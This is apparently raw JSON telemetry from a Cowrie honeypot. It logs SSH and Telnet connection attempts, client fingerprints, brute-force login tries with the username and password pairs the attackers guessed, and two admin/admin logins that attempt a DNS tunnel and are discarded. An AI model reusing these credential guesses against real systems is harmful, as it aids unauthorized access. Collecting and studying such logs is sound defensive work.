{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:34:44.868042Z","src_ip":"87.251.64.176","session":"cea3919c034b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:34:45.157328Z","src_ip":"87.251.64.176","session":"cea3919c034b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:34:45.255930Z","session":"cea3919c034b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:34:45.354136Z","src_ip":"87.251.64.176","session":"cea3919c034b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:34:45.453567Z","src_ip":"87.251.64.176","session":"cea3919c034b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.999939918518066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:35:05.438983Z","src_ip":"104.245.105.2","session":"845dd48915de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.332212924957275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:35:10.560838Z","src_ip":"104.245.105.2","session":"d8cefaa104f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.01276397705078,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:35:11.141021Z","src_ip":"104.245.105.2","session":"51f04c0a50ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":45296,"dst_ip":"159.203.135.109","dst_port":22,"session":"eacdc567d077","protocol":"ssh","message":"New connection: 186.233.118.22:45296 (159.203.135.109:22) [session: eacdc567d077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:35:20.393957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:35:20.399104Z","src_ip":"186.233.118.22","session":"eacdc567d077","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:35:20.518730Z","src_ip":"186.233.118.22","session":"eacdc567d077","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"As123456@","message":"login attempt [root/As123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:35:21.028919Z","src_ip":"186.233.118.22","session":"eacdc567d077","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:35:22.151595Z","src_ip":"186.233.118.22","session":"eacdc567d077","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.96.43.240","src_port":1924,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cd7e155755f","protocol":"telnet","message":"New connection: 117.96.43.240:1924 (10.17.0.5:23) [session: 3cd7e155755f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:35:33.794712Z"}
{"eventid":"cowrie.session.closed","duration":12.35947322845459,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:35:46.154072Z","src_ip":"117.96.43.240","session":"3cd7e155755f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":40768,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0e5f3ec52a5","protocol":"ssh","message":"New connection: 186.233.118.22:40768 (159.203.135.109:22) [session: a0e5f3ec52a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:36:19.672830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:36:19.678062Z","src_ip":"186.233.118.22","session":"a0e5f3ec52a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:36:19.797720Z","src_ip":"186.233.118.22","session":"a0e5f3ec52a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"welcome1","message":"login attempt [minecraft/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:36:20.307994Z","src_ip":"186.233.118.22","session":"a0e5f3ec52a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:36:21.430939Z","src_ip":"186.233.118.22","session":"a0e5f3ec52a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47910,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cedb44c90b9","protocol":"telnet","message":"New connection: 104.245.105.2:47910 (10.17.0.5:23) [session: 1cedb44c90b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:36:31.535076Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":52510,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdd7828bf210","protocol":"telnet","message":"New connection: 142.93.2.99:52510 (159.203.135.109:23) [session: fdd7828bf210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:36:54.180282Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48762,"dst_ip":"10.17.0.5","dst_port":23,"session":"2842f5bc75dd","protocol":"telnet","message":"New connection: 104.245.105.2:48762 (10.17.0.5:23) [session: 2842f5bc75dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:37:00.295143Z"}
{"eventid":"cowrie.session.closed","duration":30.741512060165405,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:37:02.276486Z","src_ip":"104.245.105.2","session":"1cedb44c90b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":43688,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed432853a708","protocol":"ssh","message":"New connection: 186.233.118.22:43688 (159.203.135.109:22) [session: ed432853a708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:37:21.219311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:37:21.223890Z","src_ip":"186.233.118.22","session":"ed432853a708","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:37:21.343863Z","src_ip":"186.233.118.22","session":"ed432853a708","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1A2b3c4d","message":"login attempt [root/1A2b3c4d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:37:21.851913Z","src_ip":"186.233.118.22","session":"ed432853a708","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:37:22.974709Z","src_ip":"186.233.118.22","session":"ed432853a708","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":54800,"dst_ip":"10.17.0.5","dst_port":23,"session":"69b29aec660e","protocol":"telnet","message":"New connection: 104.245.105.2:54800 (10.17.0.5:23) [session: 69b29aec660e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:37:24.007525Z"}
{"eventid":"cowrie.session.closed","duration":32.19660186767578,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:37:26.376753Z","src_ip":"142.93.2.99","session":"fdd7828bf210","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":41308,"dst_ip":"10.17.0.5","dst_port":22,"session":"7654521e0b76","protocol":"ssh","message":"New connection: 87.251.64.176:41308 (10.17.0.5:22) [session: 7654521e0b76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:37:27.291268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:37:27.299075Z","src_ip":"87.251.64.176","session":"7654521e0b76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:37:27.396076Z","src_ip":"87.251.64.176","session":"7654521e0b76","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:37:27.685716Z","src_ip":"87.251.64.176","session":"7654521e0b76","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:37:27.785480Z","session":"7654521e0b76","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:37:27.884082Z","src_ip":"87.251.64.176","session":"7654521e0b76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:37:28.118678Z","src_ip":"87.251.64.176","session":"7654521e0b76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.25119113922119,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:37:34.546199Z","src_ip":"104.245.105.2","session":"2842f5bc75dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.392383813858032,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:37:55.399794Z","src_ip":"104.245.105.2","session":"69b29aec660e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":56256,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc1c853826d5","protocol":"telnet","message":"New connection: 104.245.105.2:56256 (10.17.0.5:23) [session: cc1c853826d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:37:58.237562Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":38696,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1e61ba9c6ff","protocol":"ssh","message":"New connection: 186.233.118.22:38696 (159.203.135.109:22) [session: b1e61ba9c6ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:38:22.677564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:38:22.683259Z","src_ip":"186.233.118.22","session":"b1e61ba9c6ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:38:22.806259Z","src_ip":"186.233.118.22","session":"b1e61ba9c6ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ChangeMe123","message":"login attempt [root/ChangeMe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:38:23.314921Z","src_ip":"186.233.118.22","session":"b1e61ba9c6ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:38:24.437853Z","src_ip":"186.233.118.22","session":"b1e61ba9c6ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.938599109649658,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:38:30.176044Z","src_ip":"104.245.105.2","session":"cc1c853826d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44180,"dst_ip":"10.17.0.5","dst_port":23,"session":"884c645c26e5","protocol":"telnet","message":"New connection: 104.245.105.2:44180 (10.17.0.5:23) [session: 884c645c26e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:38:53.797092Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44190,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cfc3bc5cfb5","protocol":"telnet","message":"New connection: 104.245.105.2:44190 (10.17.0.5:23) [session: 8cfc3bc5cfb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:38:58.704850Z"}
{"eventid":"cowrie.session.closed","duration":31.016624212265015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:39:24.813643Z","src_ip":"104.245.105.2","session":"884c645c26e5","protocol":"telnet"}
